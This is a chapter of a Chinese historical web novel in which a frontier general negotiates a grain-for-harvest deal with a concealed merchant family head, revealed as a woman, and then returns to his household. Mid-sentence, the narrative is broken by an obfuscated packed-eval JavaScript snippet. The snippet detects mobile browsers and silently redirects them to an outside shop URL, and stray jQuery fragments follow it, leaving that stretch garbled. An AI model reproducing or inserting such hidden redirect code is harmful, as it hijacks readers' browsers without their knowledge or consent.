11. 交易
    探其年龄,当为四十多岁。

    燕琅隔着珠帘屏风两重障碍倒瞧不出其真切的身形外貌。

    他纵然懒了神,问道:“寻我来何事?”

    男声道:“我于楼上适才观大都护英姿,当觉大都护不负声名,十分敬仰,特邀来一叙。”

    燕琅大笑道:“你为大齐首屈一指的巨贾富商,敬仰我这面朝黄沙的武将不觉得甚为可笑?有什么事直说便是。”

    男声合声而笑,“大都护果真爽快,稷想与大都护做一笔交易。”

    燕琅长眸微眯,他横了剑,身姿慵懒落座于屋中放着的黑漆雕花大椅上,他从怀中掏出布帕,细细擦着剑上猩红,随后漫不经心道:“说来听听。”

    他转眼间戾气掩尽,显露出反客为主的姿态来。

    浓烈的血腥味逐渐漫布整个房间,屏风后一阵沉寂,燕琅手下动作不紧不慢,颇为耐心等待着。

    “大都护是否派人去南地购粮?”片刻后屏风后传来一声。

    燕琅指尖顿止,恢复雪亮清明的剑身锃亮,映出了带着一丝杀意的双眼。

    他淡道:“是又如何?”

    “那我料大都护必是一无所获。”男声道,“因南地余粮早已被我们收购,如此大都护可能认真听我道来一番?”

    燕琅慢条斯理擦着剑身,轻笑一声。

    “庭州已无存粮,此次秋收之粮必支撑不久,大都护当街斩杀是为杀鸡儆猴,以平抑米价,然世人追名逐利是为本性,庭州既不可高价,为何不可卖向外地?如此纵然大都护以杀威慑一时,再过几日,只怕那些商户手中所积之粮皆会外流。庭州之难依旧不可解。”

    燕琅抬眸透过珠帘的缝隙紧锁屏风,房内又是一阵沉静。

    男声缓缓:“稷可将手中存粮全部交予大都护发放给庭州百姓。”

    燕琅嗤笑,声音沉沉:“你说世人逐利为本性,那你所逐的利为何?”

    “稷要北庭接下来五年一成的收成。”

    “叮。”

    燕琅手下一紧,剑锋嗡然,他眉梢已重新挂上冷意,“你好大的胆子。”

    无形的凌然压迫之气笼罩房中。

    “大都护不必着急,”男声不疾不徐,“我们收购存粮虽多,但依旧不可解偌大北地之危,为鉴我等诚意,我再为大都护献上一计。”

    燕琅已然起身,他剑眉入鬓,声线如寒:“不必,我与你们这些污臭商人不相为谋。”

    “此时南地商会想必都已知晓,北地粮价居高出售,不出数日,南地粮商必会携粮而来。”男声如今才急切了些。

    燕琅指尖已搭上门扉。

    见他没有下一步动作,男声才继续道:“如今只需大都护签发政令做实此言,便可坐收四方来粮,如此大都护还要出此门吗?”

    燕琅冷然道:“你早已做了安排,此时只待我自投罗网。这是料定我会答应?”

    “莫非大都护还有比这更好的方法吗?大都护,晚一步便是数万人的食不果腹。”

    燕琅转过身,手中剑依旧未入鞘,上面淋漓的鲜血已被拭了个干净,他陡然转了话锋,哼笑道,“北地收成年年亏损,你也不怕到头来费尽心机做个赔本买卖。”

    “大都护为赌,我亦是在赌。只是大都护可以想见得益的结果,而我赌得更大。”男声笑答。

    “大都护可是同意了?”他继而问道。

    室内寂静,只有珠帘轻轻晃动的声响。

    燕琅静静立着,眸光微敛,藏匿一切情绪。

    霎时,手中剑陡然剑锋偏转,那电光般的剑刃削迫珠帘,直逼屏风之后。

    “刺啦。”一阵刺耳的划拉声。

    剑锋相碰,擦出一连串火花,格挡燕琅一剑的护卫只觉当面一阵巨力劈来,双臂被震得发麻,还未调整姿势,下一瞬又被燕琅紧随而来的狠厉横击逼得后撤几步。

    房内谁也没料到燕琅突然暴起。

    珠帘直直坠地,发出噼里啪啦的声响,散落珠子满地。

    燕琅缓缓抬眸,撩起层层嘲意,“我从不与藏头露尾之人交易。”

    屏风之后,茶楼掌柜冷汗已然有些浸湿了后背,一颗珠子由屏风外滑过他的脚边,最后悠悠滚至姜扶疏的脚下,姜扶疏稳坐罗汉榻上,她葱白的指尖挑了写满字迹的宣纸,右手执墨笔。

    适才她便是这般指导着掌柜回话。

    她眺向屏风,仿佛隔着朦胧的屏风与燕琅视线相撞。

    燕琅步步逼近,暗处的护卫已然被他逼退,他剑尖抵住屏风一侧。

    便骤然听见一道沙哑的女声。

    “大都护,生意场有生意场的规矩。”

    燕琅脚步顿止,他挑了挑眉,得逞地勾起一抹饶有兴味的笑。

    世人眼中神秘的稷家家主竟然是个女子。

    姜扶疏压着嗓子回着燕琅,又朝一旁的掌柜使了个稍安勿躁的眼神。

    她心里不由得叹气一声,这个男人总是出人意料的敏锐,情急之下,她只能出声阻止。

    燕琅道:“你这般遮遮掩掩,要我如何相信?”

    “让大都护执剑入内,便已表我们的诚意。”姜扶疏放下纸笔慢慢道。

    “北地从无我拿剑进不去的地方。”燕琅回道。

    “大都护,你于长街亲斩的人掌管庭州大半商铺,他一死,庭州商铺便出现了不少缺口,这一切我们稷家都可接手。”姜扶疏继续向其道明利益。

    燕琅握紧剑,直直问道:“你们来北地究竟目的为何?”

    姜扶疏倏尔一笑,“我们行商于天地间,体验辛酸苦楚,方知为国为民,北地亦是大齐的疆土,多年贫苦为何不可复发中兴态势,北地只是缺少一个机会。如今,这个机会握于大都护手中。”

    “朝廷管不了的生死,我们来管。如何?”

    最后,燕琅听到那道沙哑的女声倨傲说道。

    魏迟已在房外候了许久,他与着守在门外的伙计大眼瞪小眼,谁也不让谁。

    耳朵却一直提着细细听着房内的动静,突闻金戈嗡鸣声,又闻珠帘坠地淋漓之声,只将他心头吊得直发痒,恨不得直接进去瞧了瞧怎么回事。

    他的身子贴在门上,将伙计难以言喻的目光忽视了个遍,随即依靠的紧闭大门猝不及防开启,他顿时踉跄得往房内倒去。

    燕琅一提他的后颈,臂上使劲将他拎了回去。

    “大都护,”魏迟一惊,他见燕琅眉目冷峻,手中剑却入了鞘。

    燕琅淡淡嗯了一声,只道下去再说。

    两人便一同往楼下走去,于楼阁拐角处,燕琅回眸深深一望,只见女子优美的衣摆翩然,于屏风一侧隐现。

    他收回目光,下了楼。

    楼下亲兵将茶楼围得密不透风,见燕琅下来才重新整队候于一侧。

    “大都护,稷家邀你何事?”魏迟按耐不住好奇的心,忙不迭问道。

    燕琅出了茶楼门,把着腰间佩剑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134218|150013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道:“南地的存粮都是被他们收购了去。”

    魏迟一愣,“竟是他们。”

    当时秋收之际燕琅察觉粟穗异样,便当即派人前往南地,只是未想慢了一步。

    燕琅望向前方血迹斑斑的米行门前,声音淡淡:“他们要将手下之粮全部赠予北庭。”

    魏迟像是被从天而降的金子砸了个正着,他喜道:“还有如此好事?”

    他于燕琅麾下处理城中来往杂务,于这些商人间交往频繁,见惯了唯利是图的人,如今第一次遇到这种不要一钱的雪中送炭,如何不喜。

    燕琅却不说话,眉头稍锁,魏迟见状心头喜意一降,也琢磨出几分不对劲出来。

    “可是对面提了什么要求?”他惴惴不安问道。

    “她们要北地此后五年的一成收成。”

    魏迟闻言唇紧抿成线,心下思量,随后镇定道:“大都护我觉此举可行,未来之事尚说不清,但眼下之危不得不解。”

    燕琅踩蹬上马,居高临下看着他道:“我已答应。”

    魏迟闻言便骤然松口气,不管未来如何,好歹将此难过了才是。

    燕琅拽紧手中的缰绳,他心头并未一轻,稷家出现得太巧,言谈间步步都是在给他让利,他们背后应该还为着什么目的,但他眼下确实无其他更好的解决方法,以杀止乱是他最不想走的一步棋。

    同意了稷家,不动用分毫便获取支撑,如此也用不着花那个女人的钱。

    燕琅想着,心中却生了一抹自嘲,富贵之时尤嫌黄白之物,时至如今,却被此物困得举步难行。

    他一挥鞭,纵马将繁乱思绪扔至脑后。

    星前月下,大都护府内灯火辉煌,门前守卫偷打了个哈欠,然后见着如墨夜色里走来了自家几日未归的主子。

    他忙站直了身,躬身行礼。

    却见燕琅步履匆匆,入了府去。

    燕琅连夜颁布新的粮价政令,又着人将榜文张贴全城。

    只怕明日天光一破,便是满城风雨之时。

    他心下想了事,脚下却不停,直到闻见晚风间的喧闹与欢笑,他抬眸便见灯光惶惶处,窗扉桐油纸印出了女子温婉婀娜的身影。

    他竟不知不觉间走入了思危院。

    以往冷清肃穆的思危院卓然一新,正是晚间闲暇之际,院内丫鬟们聚在一起打着趣,一片欣然之意。

    燕琅立足于灯火昏暗处,目光悠然,却听见身后传来一声。

    “二郎,怎得不进去?”

    燕琅回头一瞧,正是叶嬷嬷。

    原本锋利的眉间无声敛了,他笑道:“我还有事,等会便去书房了。”

    叶嬷嬷没好气道:“你以往未成家我便不说你,可如今夫人都入了府,你总几日不归家,平常贵女哪能受此冷落。”

    燕琅目光不自觉瞥向那处丽影,旋即又淡淡收回,双手负后说道:“劳烦嬷嬷多照顾一二。”

    叶嬷嬷道:“这是自然,只是夫妻之间,二郎还得多陪陪才是。”

    燕琅眼前骤然闪过他怒然离去那日,女子垂下的嘴角以及黯然的眸光。

    他抿了抿唇,转身便欲走。

    旋即想到什么,他声音低低问:“夫人今日做了何事?”

    叶嬷嬷道:“今日下午夫人出了趟府。”

    夜风骤冷,燕琅半张面容陷入黑暗中,高挺鼻梁落下阴影,无端带了让人胆战心惊的意味。

    “她去了何处?”